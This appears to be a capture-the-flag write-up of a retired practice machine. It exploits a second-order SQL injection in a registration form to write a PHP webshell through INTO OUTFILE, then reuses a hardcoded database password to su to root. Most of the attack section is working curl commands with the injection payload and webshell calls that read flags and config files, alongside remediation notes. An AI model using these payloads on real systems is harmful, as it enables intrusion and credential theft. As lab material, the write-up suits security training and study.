Validation
Summary
The web application on port 80 hosted a UHC-qualifier registration form that stored user-supplied country values in MySQL without parameterisation. When the application later re-queried that stored row, a second-order SQL injection fired; the MySQL service account held the FILE privilege, letting a UNION SELECT … INTO OUTFILE payload write a PHP webshell directly into the Apache document root.
The webshell ran as www-data and gave immediate command execution. A PHP configuration file readable by that process contained a hardcoded database password that had been reused verbatim as the root operating-system account password — passing it to su completed full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -sC -p 22,80,4566,8080 --min-rate 5000 $TARGETcurl -sS -I http://$TARGET/Exact commands 2
curl -sS http://$TARGET/curl -sS -X POST http://$TARGET/index.php --data-urlencode 'username=testuser' --data-urlencode 'country=Brazil' -D -Exact commands 2
SHELL="v$(date +%s).php"; curl -sS -i --max-time 10 -X POST "http://$TARGET/index.php" --data-urlencode "username=w${SHELL}" --data-urlencode "country=Brazil' UNION SELECT \"<?php system(\$_REQUEST['c']); ?>\" INTO OUTFILE \"/var/www/html/${SHELL}\"-- -"curl -sS --max-time 10 "http://$TARGET/v1783350693.php?c=id"FixEliminate SQL injection by using parameterised queries throughout the applicationCritical
Exact commands 2
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=id; hostname; uname -a'curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=ls -la /var/www/html/'FixRevoke the MySQL FILE privilege and prevent the database process from writing to the web rootCritical
Exact commands 1
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=find / -name user.txt 2>/dev/null; cat /home/*/user.txt 2>/dev/null'Exact commands 2
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=cat /var/www/html/config.php'curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=grep -rn password /var/www/html/ 2>/dev/null'FixRemove hardcoded credentials from application files and enforce unique passwords per serviceCritical
su - root through the webshell's command execution channel. It was accepted immediately, granting a root shell. The same single credential protected both the MySQL database and the highest-privilege OS account, so compromising the web application was sufficient for full system takeover.Exact commands 2
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=printf "%s\n" "$PASSWORD" | su - root -c "id; whoami" 2>&1'curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=printf "%s\n" "$PASSWORD" | su - root -c "cat /root/root.txt" 2>&1'Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.48 ((Debian)) |
| 4566/tcp | http nginx |
| 8080/tcp | http nginx |